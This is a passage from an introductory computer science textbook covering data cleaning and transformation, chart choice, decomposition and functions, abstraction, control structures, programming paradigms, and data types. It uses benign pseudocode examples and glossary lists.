The same basic operations appear in a query and in a spreadsheet menu, and three of them are easy to confuse. **Search** finds particular values, such as whether one ISBN appears in a catalog. **Sort** reorders all rows and hides none. It must move whole rows together, since each row is a record: sort only a column of names, and the scores beside them no longer match the right people. **Filter** displays only the rows meeting a condition without removing the others. That makes it a safe way to view just the grade 10 students, and it also explains a common surprise, because some formulas still include the hidden rows, so an average of "just the Math rows" may be an average of everything.

These operations assume that the data is in good condition, and real data seldom is, as the quality problems in 0002.b suggest. **Cleaning** means standardizing formats, handling missing values, removing duplicates, and correcting errors, and it comes before analysis because errors affect all later results.[32] Each task involves a judgment. "Yes," "yes," and "Y" need to become one value, and someone must decide what blanks mean. Dates written as "03/04/2023" and "2023-04-03" need one format, or purchases may land in the wrong months. Codes such as `-99` for "absent" distort averages, in that case pulling them too low, because the code is treated as a real score. Duplicates need a definition, ideally through a unique identifier, since repeat purchases by the same customer look like duplicates and aren't errors.

[32] MWC2, Classification: Features: train/test splits, evaluation, feature engineering, and data cleaning.

Clean data may still not be in a form that answers your question, so the next step is **transforming** it, which means changing its form to answer a question.[33] You might calculate a new column, such as `price * quantity` for each row. You might aggregate by group, turning a list of sales into total sales per store or daily attendance into monthly rates. Or you might **join** two datasets on a shared key, so that a table of scores and a table of grade levels, both containing `student_id`, can produce average scores by grade level when you join and then aggregate. Joins depend on matching values, so clean identifiers first. If one table says "NYC DOE" and the other says "New York City DOE," the rows won't match, and some can disappear from the result.

Showing data: choosing and reading charts

After the analysis comes communication, and a chart's form makes a claim about the data, so it should match what you are trying to show. **Line charts** show change over time. **Bar charts** compare categories. **Scatter plots** show relationships between two numeric variables, such as hours of study and test scores.[34] **Histograms** show distributions, grouping a numeric variable's values into bins and showing how many fall in each. **Pie charts** show parts of a whole. Because a line implies an order, connecting average scores for Math, Science, Art, and History suggests a trend among categories that have no sequence, and a bar chart would be the honest choice.

A chart can also mislead even when every data point is accurate, through three main devices. A **truncated axis** starts above zero and exaggerates differences: sales of 980 and 1,000 on an axis starting at 970 make one bar look three times as tall as the other. For this reason, bar charts should start at zero. **Inconsistent scales** make slopes impossible to compare, as when the years 2000, 2005, 2010, 2011, 2012, and 2013 are evenly spaced along an axis, so that growth seems to speed up at the end. **Selective data** shows only part of the record, such as a company's three best years out of twenty. The fix is to change the design and the data shown, since changes such as brighter colors don't address the distortion, and a three-dimensional effect adds more of it.

Choosing a tool

A spreadsheet can do much of what this section has described, using formulas, sorting, filtering, charts, and **pivot tables**, which summarize data by group. Its formulas also adjust as you copy them: copying `=A2*B2` down one row gives `=A3*B3`, because references are relative. All this suits small datasets, such as a few hundred expenses that one person updates at a time. Databases better handle large, shared, related data, such as millions of licensing records that many staff members update at once, and they reduce duplication. When club rosters are kept in separate sheets that each repeat a student's address, a correction made on one sheet leaves the others wrong. With the address in one table that the others reference, the change needs to be made only once.

That last example shows a general principle: keep something in one place, and refer to it from everywhere it's needed. The same principle applies to the code that processes data, which is where

[33] MWC1, Pipes: programs as transformations of data, and combining commands.

[34] MWC1, Scatter: top-down and bottom-up problem solving, conditionals, return values, minimums and maximums, and plots.

the next section goes.

- **relational database**: a system that stores data in related tables
- **record**: a row, representing one entity
- **field**: a column, holding one attribute
- **primary key**: a field that uniquely identifies each record
- **foreign key**: a field that refers to a primary key in another table
- **referential integrity**: the requirement that foreign keys match existing records
- **one-to-one, one-to-many, many-to-many**: the three kinds of relationship between tables
- **junction table**: a third table of paired foreign keys that represents a many-to-many relationship
- **SQL**: a declarative language for retrieving and changing data in a database
- **search, sort, filter**: finding particular values, reordering all rows, and displaying only the rows that meet a condition
- **cleaning**: standardizing formats, handling missing values, removing duplicates, and correcting errors
- **transforming**: changing data's form to answer a question, by calculating, aggregating, or joining
- **join**: combining two datasets on a shared key
- **truncated axis**: an axis that starts above zero and exaggerates differences
- **pivot table**: a spreadsheet tool that summarizes data by group

Practice questions: 0002.c, page 329.

0002.d Decomposition and functions

Programs that handle data, like the problems they solve, soon become too large to hold in mind all at once. This section works at two levels of granularity. At the level of the whole problem, **decomposition** divides the work into parts and offers two directions for doing so. At the level of a single part, the function is the unit that holds a piece of the work, so the section then asks how to use a function someone else wrote and how to write one well. These levels depend on each other, because a decomposition is only as useful as the boundaries between its parts.

Dividing the problem

Decomposition means breaking a problem into smaller sub-problems that can be solved, tested, and understood separately.[35][36] Its practical value shows up when something goes wrong. A student who writes a report program as one 200-line block has to search all 200 lines for a mistake, whereas one who wrote separate parts for reading, removing the lowest score, averaging, and sorting can check each part alone. A bug reported in an online store's discounts can be found and fixed in the discount function, with tax and payment left alone. Divide by sub-problem, not by length. Splitting

[35] MWC1, Typeface: decomposition and debugging in a problem set.
[36] MWC1, Number Words: top-down planning, bottom-up implementation, and types.

a program into two parts of equal size, or labeling sections of one long block with comments, gives you nothing that can be tested on its own, and neither does a separate function for every individual assignment or case. A good first step for a tic-tac-toe program is a list of its sub-problems: showing the board, checking a move, and detecting a win.

You can work through a decomposition in either of two directions. **Top-down design** begins with the whole problem and divides it into parts, often as named placeholders whose details come later:

```
01 function main()
02   /* read scores */
03   /* compute average */
04   /* print report */
```

Bottom-up implementation builds and tests small functions and then combines them, as when someone unsure how to display a chess board starts with a function that checks whether a single move is legal.[37][38] Working pieces can be verified early, though they still have to fit a larger design. The two approaches complement each other, and most projects use both, planning from the top and building from the bottom. What connects them is agreement on shared interfaces. A team whose members write functions in isolation can reach the end and find that one function's outputs don't match another's inputs, which an overall plan and agreed interfaces would have prevented.

The function as a unit

Each part of a decomposition usually becomes a function. A function packages a task under a name, with inputs and an output, and this reduces duplicated code, so a correction made in one place applies wherever the function is called. If the same tax calculation appears in six places and the rate changes, a programmer who updates only five has introduced a bug. A function with `price` as a parameter removes that possibility in a way that a reminder in a comment can't. Moving code into functions doesn't necessarily make it run any faster, since the benefit is to the people who read and change it.[39] It also isn't always worthwhile: wrapping one obvious line used in one place adds a level of indirection with no gain in reuse or clarity.

Many of the functions a program calls aren't written by its author at all. **Third-party libraries** save time and handle hard details, such as date parsing or payments, including edge cases others have already tested. In exchange, they add **dependencies**, meaning that your project now relies on outside code you don't control. Choose libraries that are well maintained, appropriately licensed, and limited to what you need. Recent releases and prompt responses to security reports are better evidence of maintenance than a long feature list or a polished website, and if you need one simple function from a very large library, a small package or a few lines of your own may be the lower risk. Authors can remove or change their libraries, and a program can stop building when that happens. You also still need testing, since using someone else's code doesn't remove your responsibility for

[37] MWC1, Scatter: top-down and bottom-up problem solving, conditionals, return values, minimums and maximums, and plots.
[38] MWC1, Number Words: top-down planning, bottom-up implementation, and types.
[39] MWC1, Names: variables, values, and functions with arguments.

whether your program works.

To use such a function, you read its **signature** and documentation. You need to know its purpose, its arguments and their types, and what it returns, and you don't need to know how it is implemented. The header gives the number, order, and types of the arguments. In this pseudocode the header doesn't state the return type, so the documentation supplies it, as in "`round_to(float value, int digits)` returns a `float`." From that line alone, you can see that `round_to(2, 3.14159)` has its arguments in the wrong order, and that assigning the result to an `int` variable is a type error. Documentation is also what tells you about behavior you can't infer from types. If it says a function returns a new array, you can rely on the original array being unchanged. And if the implementation changes but its signature and documented behavior don't, calling code still works, which is the idea at the center of the next section.

Reading a signature is the view of a function from outside. Writing a good one requires thinking about the inside, and two habits matter most. The first is **one responsibility**: a function should do a single job and have a clear name. Functions that do many things are harder to test and reuse, and a name with several "and"s, such as `check_and_fix_and_print_grade`, suggests splitting. If `save_user` validates an email address, writes a record, and sends a welcome message, a bug in validation breaks all three, while separate functions could be tested alone. A function that returns a value is easier to test than one that prints, because a test can compare the returned value directly. Hidden **side effects** are a further source of bugs: a function named `get_total` that also empties the shopping cart does something no caller would expect from its name.

The second habit is to pass values in through **parameters** and hand results back with **return values**, which makes a function independent of its surroundings. Compare two functions that do the same arithmetic:

```
01 int total = 10
02
03 function triple_total()
04   total = total * 3
05
06 function triple(int n)
07   return n * 3
```

`triple_total()` works on one particular global variable, so it can't be used for anything else, and it changes that variable for the rest of the program. `triple()` works on any `int`, and you can see everything it depends on in its header. Relying on global variables creates hidden dependencies, as when a test of an interest calculation passes only if the global `rate` happens to have been set first; passing `rate` as a parameter makes the dependency visible. A function that prints instead of returning leaves its caller with nothing to store, so `int result = add(7, 8)` needs `return` inside `add()`, and `output` won't do. Assigning to the caller's variable from inside the function doesn't work either. And because changing a parameter doesn't change the caller's variable, a caller has to store a returned value in order to keep it.

When a function has a clear job, a clear signature, and no hidden connections, you can use it knowing

only what it promises. That ability has a name, and the next section takes it up.

- **decomposition**: breaking a problem into sub-problems that can be solved, tested, and understood separately
- **top-down design**: starting with the whole problem and dividing it into parts
- **bottom-up implementation**: building and testing small functions and then combining them
- **third-party library**: code written by others that a program uses
- **dependency**: outside code that a project relies on
- **signature**: a function's name and its parameters' types and order
- **side effect**: a change a function makes beyond returning a value, such as changing shared data or printing
- **parameter**: a named input to a function
- **return value**: the result a function hands back to its caller

Practice questions: 0002.d, page 352.

0002.e Abstraction

The function at the end of the last section, used by knowing only what it promises, is one example of an idea that runs through all of computing. **Abstraction** means hiding details behind a simpler interface, so that you can use something without knowing how it works. This section begins with that basic idea and the reason it matters, then gives its central distinction between an interface and an implementation. It then looks at abstraction at two other scales: the whole computer, built as a stack of layers, and data, where a representation hides the complexity of what it represents.

Hiding details to manage complexity

You abstract whenever you call `sort()` to put scores in order without reading how it works, or drive a car with a steering wheel and pedals while knowing little about the engine.[40] A web developer can call `fetch(url)` without thinking about how packets are routed. Writing your own abstractions has the same effect: a student who wraps `forward(100)` and `right(90)` in a function `square(int size)` can start thinking about a row of houses without keeping track of each turn. Abstraction differs from decomposition, though the two work together. Decomposition divides a whole into parts, and abstraction decides what each part shows to the outside.

Abstraction's main benefit is that it lets people reason about one level at a time, which makes large systems possible to build and understand. No engineer could keep an entire operating system in mind, so each of the 50 engineers on a project works on one component and relies on what the others promise, without reading their internal code. The same habit helps in debugging, since you can check whether `move_player()` returns the correct position and look inside only if it doesn't. It is also why a 5,000-line program in which everything shares the same global variables is so fragile: without boundaries, any change can break something unrelated, and organizing the code into functions with defined inputs and outputs limits how far a change can reach.

[40] MWC1, Names: variables, values, and functions with arguments.

This shouldn't be mistaken for making details go away. Abstraction doesn't remove details, and details can still matter: a hidden algorithm may be slow on large inputs, and you'll find that out only when it affects your program. Nor does it end the need for people to communicate or stop every bug from crossing a boundary between components.

Interface and implementation

The boundary that makes all of this work has two sides. An **interface** states what something does, and an **implementation** states how. An implementation can change without affecting callers if inputs and outputs stay the same.[41] A library's `search(String[] items, String target)` can move from scanning an array to using an index for faster lookups, and programs that call it continue to work unchanged. A class's `area()` method can calculate from a stored width and height or return a stored area, and callers writing `shape.area()` can't tell the difference. This separation also lets people work independently: if one team is building a page and another is building `get_price(int product_id)`, they need to agree on the function's name, parameter, and return type, and can leave everything else to the team doing the work.

The arrangement places an obligation on callers as well, because they should rely only on what the interface promises. Suppose a function is documented as returning a list "in no particular order," but it has always happened to return sorted values. If a program depends on that order and breaks when the implementation changes, the fault lies with the caller, who relied on something that was never promised.

Layers: abstraction across a whole system

Interfaces can be stacked, each one built from what the one beneath it provides, and that is how computers are organized. From low to high, the main **layers of abstraction** are transistors, logic gates, machine code, the operating system, high-level languages, and applications. Each relies on the one below. When a word processor saves a file, it contains no code about how the disk stores individual bits, because the operating system provides file services that hide those details. When a Python statement eventually results in electrical signals, there's no direct link between the two, since the statement passes down through layers, each translating into or relying on the one below it, until hardware does the work.

The layers show the value of a stable interface especially clearly at the boundary between software and hardware. An **instruction set**, the set of machine instructions a processor accepts, is an interface between software and hardware. This is why new chips can run old programs: a manufacturer can completely redesign a chip's internals, and existing machine code still runs, as long as the instruction set is preserved.

[41] MWC2, Riddle Server: views, models, fields, subclasses, and an API specification.

Data abstraction

Everything so far has hidden processes, but data can be abstracted too. **Data abstraction** means representing complex information through simpler structures, keeping what the task needs and ignoring the rest. A `Book` class for a school library might store title, author, and availability, but not paper type or weight.[42] A budgeting program needs a customer's name and balance, and can omit hair color. It can't omit so much that it no longer identifies the account, which is the same judgment about relevant features that a model requires in 0002.a. Structures themselves are abstractions as well: a list of scores stands for a student's work, and a two-dimensional array lets a program handle a chessboard's squares by position in a single structure, instead of through dozens of separately named variables.

Data abstraction involves two related decisions. The first is what to represent at all, as with `Book`. The second is whether other code can see how it is represented. Hiding the representation behind methods lets it change later: if a student's scores sit in a `float[]` and other code gets the average through a method, then that code doesn't depend on the array, and the array can be replaced. This second decision is the interface and implementation distinction again, applied to data.

Abstraction lets you stop thinking about what is inside a function, but someone has to write the inside. The next section opens that box and looks at the small set of structures from which algorithms are built.

- **abstraction**: hiding details behind a simpler interface
- **interface**: what something does, and what callers can rely on
- **implementation**: how it does it
- **layers of abstraction**: from low to high, transistors, logic gates, machine code, operating system, high-level languages, applications
- **instruction set**: the interface between software and hardware
- **data abstraction**: representing complex information through simpler structures that keep what the task needs

Practice questions: 0002.e, page 377.

0002.f Algorithms: control structures and patterns

An algorithm can look endlessly varied from the outside, but it is assembled from a very small kit, and this section is organized as a climb from the kit to finished work. At the bottom are three **control structures**: sequencing, selection, and iteration. Above them are the ways those structures combine and extend, which are tracing them, nesting them, repeating through recursion, and generalizing them into reusable functions. Above those are **patterns**, recognizable arrangements that programmers reuse for common jobs, such as totaling a list or finding its largest value. The section ends with Euclid's algorithm, a classic that draws on all of it. The typed loop notation that these examples use is introduced under "Variable-focused iteration."

[42] MWC1, Dice: classes, instances, randomness, and repeated runs.

The three control structures

Sequencing is the most basic and the easiest to overlook: instructions run one after another, in order, so swapping statements can change the result.[43] Subtracting a coupon and then applying a multiplier gives a different price than doing the same steps the other way around. An `output` placed before the line that assigns a value displays whatever was there before. Sequence also explains why exchanging two values takes three steps. The assignment `x = y` overwrites `x`, and if `y = x` follows, both variables hold the same value, so you have to save the old value in a temporary variable first:

```
01 int x = 3
02 int y = 8
03 int temp = x
04 x = y
05 y = temp
```

Running strictly in order would make a program do the same thing every time, and **selection** adds the ability to choose. Conditions determine which code runs. In an `if/elseif/else` chain, only the first true branch runs, and the rest are skipped, so the order of the conditions matters.[44] A grading chain that tests `score >= 60` first gives a 95 the same letter as a 60, because that first test succeeds and nothing further is checked. This has a useful side: by the time a program reaches a later `elseif`, it already knows that the earlier conditions were false, so it needn't test them again. Separate `if` statements behave differently, because each is evaluated on its own, and several can run. Conditions also have to be real `bool` expressions. To test for an even number, write `if (n % 2 == 0)`, since a number can't serve directly as a condition.

Iteration adds repetition. A `for` loop suits a known number of repetitions, and a `while` loop repeats as long as a condition is true, which suits cases where the count can't be known ahead of time, such as asking until a password is correct.[45] In both, the condition says when to continue and doesn't say when to stop, so a loop printing `1` through `5` needs `i <= 5`, and `i == 5` would never start. Indentation defines what is inside the loop. A line that updates the counter but sits outside the indented body never runs during the loop, so the program never stops.

Tracing, nesting, and recursion

Loops are where programs get hard to follow in your head, and the reliable method is to write it down. To **trace** a loop, record each variable's value at each iteration in a table, checking the loop's start, its stopping condition, and how the counter changes. The final test that fails doesn't count as a pass through the body: a loop with `i` starting at `10`, falling by `2`, and continuing while `i > 0` prints five times, for `10`, `8`, `6`, `4`, and `2`. A wrong result can be found at its first appearance in the table, which is what makes tracing a debugging tool as well as a reading skill.

Tracing becomes especially useful when one loop sits inside another. In a **nested loop**, the inner

[43] MWC1, Turtle: first programs, sequence, errors and bugs.
[44] MWC1, Scatter: top-down and bottom-up problem solving, conditionals, return values, minimums and maximums, and plots.
[45] MWC1, Iteration: lists, `for` loops, and `range`.

loop runs completely for each repetition of the outer loop, so the total number of inner repetitions is often the product of the two counts.

```
01 int count = 0
02 for (int i = 0; i < 3; i = i + 1)
03   for (int j = 0; j < 4; j = j + 1)
04     count = count + 1
05 output(count)
```

This outputs `>>> 12`. If the inner bound depends on the outer variable, as in `j <= i`, add up the varying counts: with `i` running from `1` to `3`, the inner loop runs 1, 2, and 3 times, for a total of 6. In a two-dimensional array, the outer loop usually moves through rows and the inner through columns, reading each value as `grid[r, c]`. Nesting also makes it matter where a variable is set. A row total or a yes-or-no flag that applies to each row has to be reset inside the outer loop, or the value from one row carries over into the next. Where a language provides `break`, it exits only the nearest loop, so breaking out of an inner loop lets the outer loop carry on with its next row.

Loops aren't the only way to repeat. In **recursion**, a function calls itself on a smaller version of a problem. It needs a **base case** that stops the calls and a **recursive case** that moves toward it, and without these, it never finishes.

```
01 function power(int n)
02   if (n == 0)
03     return 1
04   return 2 * power(n - 1)
05
06 output(power(4))
```

This outputs `>>> 16`. To trace it, follow the calls down from `power(4)` to `power(0)`, which returns `1`, and then follow the returns back up, as each pending call multiplies by `2`. "Smaller" can take other forms than counting down. A function that checks whether a word reads the same in both directions can compare the two end characters and call itself with both positions moved inward, stopping when they meet. Each pending call stays on the **call stack**, a structure described in 0002.h, until the calls beneath it return, so recursion can use more memory than a loop for the same result. A recursive sum and a loop that computes the same sum give identical answers, but the recursive one holds on to a pending call for every step.

Reusability

Functions like these are more useful the less they assume. **Reusability** means replacing specific repeated code with a general function, so that it can be applied to new inputs. Write `area(int w, int h)` rather than `area5` and `area7`, and give a letter-counting function a `letter` parameter rather than writing one function per letter. A tax function that takes the rate as a parameter never has to be copied and edited for a new rate. Parameters are the mechanism: anything that might change becomes an input, and the logic remains in one place, as in 0002.d.

Patterns built from these structures

Certain combinations of these structures come up so often that experienced programmers recognize them on sight, and learning a few is a large part of learning to read code. The **accumulator pattern** initializes a variable before a loop and updates it on each pass, for totals, counts, or strings built up with `concat`.

```
01 int[] values = [3, 5, 9]
02 int total = 0
03 for (int i = 0; i < values.size[1]; i = i + 1)
04   total = total + values[i]
05 output(total)
```

This outputs `>>> 17`. The placement of line 02 is the classic source of error, since initializing inside the loop resets the variable on every pass, leaving only the last value. The update distinguishes the two main uses: counting adds `1`, and totaling adds a value. Adding a condition around the update gives you a count of only the scores above a cutoff, or a total of only the dues that were paid. When building a string, remember to store what `concat` returns, as in `list = concat(list, ",", names[i])`, because calling it alone changes nothing.

Finding a **maximum or minimum** is a close relative, with the accumulator replaced by a best-so-far value. Set a variable to the first element, loop through the rest, and replace it whenever a larger value appears.[46]

```
01 int[] temps = [-4, -9, -2, -7]
02 int largest = temps[0]
03 for (int i = 1; i < temps.size[1]; i = i + 1)
04   if (temps[i] > largest)
05     largest = temps[i]
06 output(largest)
```

This outputs `>>> -2`. Starting at `0` instead would fail here, because when all values are negative, nothing ever beats it. The comparison operator decides ties: a strict `>` keeps the first of several ties, and `>=` keeps the last. Reversing the comparison finds a minimum, and a repeated minimum doesn't count as a new one under `<`. To report where the largest value occurs, store the index, and read the value through it, as in `if (scores[i] > scores[best])`, which also lets you use that index in a parallel array of names. The comparison can be on any property of the elements, but `>` isn't defined for `String` values, so to find the longest word, compare `.len`.

A classic algorithm: Euclid's

Euclid's algorithm shows how far these simple parts can go. It finds a greatest common factor by repeatedly replacing a pair of numbers with the smaller number and the remainder of dividing the larger by the smaller, until the remainder is `0`.

[46] MWC1, Scatter: top-down and bottom-up problem solving, conditionals, return values, minimums and maximums, and plots.

```
01 function gcf(int a, int b)
02   while (b != 0)
03     int r = a % b
04     a = b
05     b = r
06   return a
```

The pair `(48, 18)` becomes `(18, 12)`, `(12, 6)`, and `(6, 0)`, so the answer is `6`. A `while` loop fits, since the number of steps isn't known in advance. The body is the swap from the start of this section in another form. Without the temporary `r`, line 04 would destroy `a` before the remainder is computed, and `b % b` is always `0`. If the smaller number is passed first, the first pass simply exchanges them. The result is a practical tool: dividing the top and bottom of 42/56 by their greatest common factor, `14`, reduces the fraction to 3/4.

Every example here has been written as a series of steps that change variables. That is such a familiar way to program that it can seem like the only one, but it is one of several, and the next section compares them.

- **sequencing**: running instructions one after another, in order
- **selection**: using conditions to choose which code runs
- **iteration**: repeating code, with a `for` loop for a known count or a `while` loop for as long as a condition is true
- **trace**: recording each variable's value at each iteration in a table
- **nested loop**: a loop inside a loop, with the inner one running completely for each outer repetition
- **recursion**: a function calling itself on a smaller version of a problem
- **base case**: the condition that stops recursive calls
- **recursive case**: the call that moves toward the base case
- **call stack**: the structure that holds pending function calls
- **reusability**: writing general functions with parameters in place of specific repeated code
- **accumulator pattern**: initializing a variable before a loop and updating it on each pass
- **Euclid's algorithm**: finding a greatest common factor by repeatedly replacing a pair with the smaller number and the remainder

Practice questions: 0002.f, page 393.

0002.g Paradigms

The algorithms in the last section all told the computer what to do, one step at a time, and changed variables along the way. A **programming paradigm** is a general style of organizing a program, and that step-by-step style is only one of them. The paradigms are easier to keep straight when grouped around one question: what does the programmer write down? One family writes down the steps, adding more organization as it goes from imperative to procedural to object-oriented programming. Functional programming also spells out a computation, but it builds that computation from functions that return values, and it avoids changing state. A second family writes down the desired

result or the facts of the matter and leaves the steps to the system, which describes declarative and logic programming. Event-driven programming answers a different question, which is when code runs. A single language often supports several of these styles. Python, for instance, supports more than one, so a paradigm describes how a program is written more than it labels a language.

Writing down the steps

Imperative programming expresses a program as a sequence of statements that change the program's **state**, the values it is holding at a given moment. A recipe is a good comparison: heat the pan, add the oil, add the onions, with the food changing at each step. Reassignment is the signature feature of this style, as in `total = total + 4`.[47] Everything in 0002.f can be read as imperative code.

As imperative programs grow, a long list of instructions becomes hard to manage, and the next two styles add structure while keeping the steps. **Procedural** programming is imperative code organized into procedures and blocks, with **scope** limiting where names are valid.[48] A typical procedural program is a main routine that calls named procedures in order. Each procedure's local variables exist only inside it, which is why a name declared in one function can't be read from another, while different functions are free to reuse the same name. The procedures can still change shared data, so this remains an imperative style.

Object-oriented programming organizes a program differently, by modeling a problem as objects that bundle data with the methods that operate on it, each object holding its own state.[49] Two turtles, `t1` and `t2`, each track their own position, and `t1.forward(50)` moves only the first. A game with many characters fits this well, with a `Character` class defining shared behavior and one object for each character's own health and position. A clear way to see the shift from procedural programming is to take a global `balance` and a `deposit()` procedure and move both into an `Account` class, from which you create account objects. Renaming things or adding comments wouldn't change the paradigm, because it is the bundling that matters. 0002.h and 0002.l return to classes in more detail.

Writing functions instead of changing state

Functional programming departs from the others on the point that imperative programming holds central, by avoiding changes to state. Programs are built by composing functions that return values, with an emphasis on immutable data and avoiding **side effects**, which are changes a function makes beyond returning its result. Where an imperative program reassigns a variable in a loop, a functional one might use recursion and never reassign anything. Functions such as `map(square, values)` produce new data, here a new array of squares, and leave `values` unchanged. A function that prints or changes shared data isn't **pure**, even if it returns the right value: `return x * 2` alone is pure, and

[47] MWC1, Turtle: first programs, sequence, errors and bugs.
[48] MWC1, Names: variables, values, and functions with arguments.
[49] MWC1, Dice: classes, instances, randomness, and repeated runs.

adding `log.append(x)` or `output(x)` before it isn't. Purity has practical payoffs.[50][51] A pure function returns the same output for the same input and changes nothing else, so pure functions are simple to test, and they simplify concurrency, because they avoid the problems of shared, changing state.

Writing down the result or the rules

The second family stops describing a process. **Declarative** programming describes the desired result rather than the steps for producing it, as in SQL, HTML, and CSS. `SELECT name FROM Students WHERE grade = 10` says which rows are wanted and doesn't say how to look through the files, whereas an imperative version would loop over the rows and test each one. Likewise, `<h1>Welcome</h1>` and `h1 { color: blue; }` state what should be true of a page and leave the browser to draw it. The system chooses how, which is why a **query optimizer** can rewrite a query to run faster without changing its results. It has that freedom only because the query never specified any steps.

Logic programming takes this further by having the programmer state what is true. A program is facts and rules, and the system answers queries by inference, as in Prolog:

```
parent(ana, ben).
parent(ben, cara).
grandparent(X, Z) :- parent(X, Y), parent(Y, Z).
```

Asked whether `grandparent(ana, cara)` holds, the system works out the answer from the facts and the rule, with no loop written by anyone. This suits constraint problems, such as checking whether a schedule meets many stated conditions, since the constraints can change without anyone rewriting a search procedure. Logic programming and SQL are related in spirit, because both leave the method to the system. They differ in that a SQL query retrieves and changes stored data, whereas a logic program reasons from rules.

When code runs: event-driven programming

The styles above mostly assume that a program decides for itself what happens next, but many programs have to wait. In **event-driven** programming, **handlers** run in response to events such as clicks and messages, a pattern common in user interfaces and block-based environments, where a "when this sprite is clicked" block starts its own stack of instructions.[52] It suits programs whose input arrives at unpredictable times, such as a chat application. Two kinds of mistake follow directly from how it works. A handler must be registered rather than called at load time, so a button's message that appears as soon as the page loads has probably been run directly and not attached to the click. And because event order isn't fixed, shared variables can interact unexpectedly, as when two handlers both change a game's `score`.

[50] MWC1, Scatter: top-down and bottom-up problem solving, conditionals, return values, minimums and maximums, and plots.
[51] MWC1, Pipes: programs as transformations of data, and combining commands.
[52] LAI 516, Media: Scratch: constructionist design, low floor, events, and blocks.

A different question: compiled and interpreted

One further distinction is often mistaken for a paradigm. **Compiled** languages are translated to machine code before running, which allows optimization for the target hardware and can catch errors early, though it can't guarantee that no errors will occur while the program runs. **Interpreted** languages are executed by another program as they run, so an error appears only when execution reaches it: a misspelled name on line 200 goes unnoticed until the program gets there. This is a feature of the implementation and has nothing to do with how a program is organized, so a phrase like "interpreted paradigm" confuses two different things. Many implementations mix both, as Python does by compiling source code to bytecode that another program then executes.

Whatever their style, all of these programs work on data, and each paradigm's descriptions have relied on variables, arrays, and objects. The next section looks closely at those building blocks.

- **programming paradigm**: a general style of organizing a program
- **imperative**: statements that change the program's state in sequence
- **procedural**: imperative code organized into procedures and blocks, with scope
- **object-oriented**: objects that bundle data with the methods that operate on it
- **functional**: composing functions that return values, with immutable data and no side effects
- **pure function**: a function that returns the same output for the same input and changes nothing else
- **declarative**: describing the desired result rather than the steps, as in SQL, HTML, and CSS
- **logic**: facts and rules, with queries answered by inference, as in Prolog
- **event-driven**: handlers that run in response to events
- **handler**: code that runs when a particular event occurs
- **compiled**: translated to machine code before running
- **interpreted**: executed by another program as it runs

Practice questions: 0002.g, page 428.

0002.h Data types and data structures

Programs organize their data at increasing levels of granularity, and this section climbs through those levels. A single value has a type. Values gather into collections, which are found by position in an array or by key in a map. Then comes a change in viewpoint: stacks and queues are defined by how they behave and can be built on simpler structures, and a linked list shows that the same sequence of values can be stored in a very different way. At the top, classes bundle data with behavior into a type of your own. Two questions apply across all of these levels, namely where a name can be used and which structure fits a job, and the section closes with them. The notation here was introduced under "From Python to typed pseudocode," which has further examples and tables.

Single values and their types

Everything starts with **primitive types**, the basic kinds of value. A `bool` is `TRUE` or `FALSE`, in capitals. An `int` is a whole number. A `float` is a decimal number treated as having infinite precision, so you can ignore rounding effects such as Python's `0.30000000000000004`. A `char` is a single character in double quotes. A typed variable declares its type at its first assignment, as in `int x = 5`, and is reassigned without one, as in `x = 6`. Repeating the type redeclares the variable, leaving it out on the first assignment is an error, and a value of the wrong type should produce an error, so `x = "seven"` fails where Python would allow it. Types also govern arithmetic: `int` and `float` don't combine, so multiplying `int total` by `float rate` is a mismatch. Declared types help the reader as well, since a mismatch between an argument and a parameter is visible on the page, as when a `float` is passed where a signature requires an `int`. Two `int` values divide to a rounded `int`, so `175 / 3` is `58`.

A `String` takes the first step up in granularity, since it is an ordered sequence of `char` values, in double quotes. `.len` gives its number of characters and has no parentheses, because it is an attribute. `.sub(start, stop)` gives a part of the string, counting from `0` and including the stop index, so `"They went.".sub(0, 3)` is `"They"`, and `.sub(0, 0)` is one character. `concat()` joins strings, because `+` is for numbers only. Remember to pass a variable's name without quotes: `concat("Hello, ", name)` uses the value, and `concat("Hello, ", "name")` uses the word.

Collections by position and by key

Strings hold only characters, and arrays extend the same idea of numbered positions to any one type. An **array** holds values of one type accessed by a zero-based `int` index, so `[1, "two", 3.0]` can't be an `int[]`, unlike a Python list. In a **two-dimensional array**, values are accessed by row and then column, with both indexes starting at `0`.

```
01 int[] nums = [2, 3, 4]
02 int[][] grid = [[1, 2, 3], [4, 5, 6]]
03 output(nums[0])
04 output(grid[1, 2])
05 output(grid.size)
```

```
>>> 2
>>> 6
>>> [2,3]
```

As line 05 shows, an array's `.size` returns a pair, `[rows, columns]`. A one-dimensional array has one row, so `nums.size` is `[1, 3]`, and its length is `nums.size[1]`. Its last index is one less than that, and using an index that doesn't exist produces `ERROR`. This is why a loop that reads `v[i + 1]` has to stop one position early. Fixing one index and moving the other gives you a whole row or column, so `g[r, 1]`, with `r` looping, walks down the second column.

Arrays can also change size through their methods. `.append()` adds to the end. `.insert(i, x)` adds at an index that already exists, shifting later values up, and doesn't replace anything. `.del(i)` removes the value at an index, shifting later values down by one. `.search(x)` returns the position

of the first match as a `[row, column]` pair, or `NULL` if there is no match. These shifts are a common source of bugs. If a forward loop deletes at `i` and then adds `1` to `i`, the value that just moved into position `i` gets skipped, so `[0, 0, 5]` keeps one of its zeros after a loop meant to remove them all.

An array is a good fit when you know the position you want, but often you know something else about the value, such as a person's name. An **associative array**, or **map**, stores unique keys with values, accessed by key. It declares the key type and then the value type, and all keys share one type, as do all values, so a map from strings to strings can't also hold the number `17` as a value.

```
01 String String{} book = {"title": "Emma", "author": "Austen"}
02 book{"year"} = "1815"
03 output(book{"title"})
04 output(book.size)
```

```
>>> "Emma"
>>> 3
```

Assigning to a new key adds a pair, as on line 02, and assigning to an existing key replaces its value. Reading a key that doesn't exist is an error, so a program that counts how often each title appears has to treat a title's first appearance separately, setting its count to `1` in one branch and adding `1` in the other. A map's `.size` is a single `int`, unlike an array's pair. `.remove(key)` deletes a pair, and `.search(value)` returns an array of the matching keys, since several keys can share a value.

Stacks and queues: structures defined by behavior

Arrays and maps are described by how they store and find values. Stacks and queues are described by the rules for adding and removing, which makes each an **abstract data type**: a specification of behavior that can be implemented in more than one way. This is the interface and implementation distinction from 0002.e, applied to data.

A **stack** is last in, first out (LIFO), with items added and removed at the same end, like a pile of plates. It fits wherever the most recent thing must be dealt with first. Undo reverses the latest change, and a browser's Back button returns to the latest page. Function calls work this way too: if `a()` calls `b()` and `b()` calls `c()`, then `c()` finishes first, which is why the structure holding pending calls is called the call stack. Checking balanced parentheses also uses a stack, pushing each `(` and popping on each `)`, so a `)` that arrives when the stack is empty signals a problem. With an array, `append` pushes, and deleting the last index pops:

```
01 String[] pages = ["home", "news"]
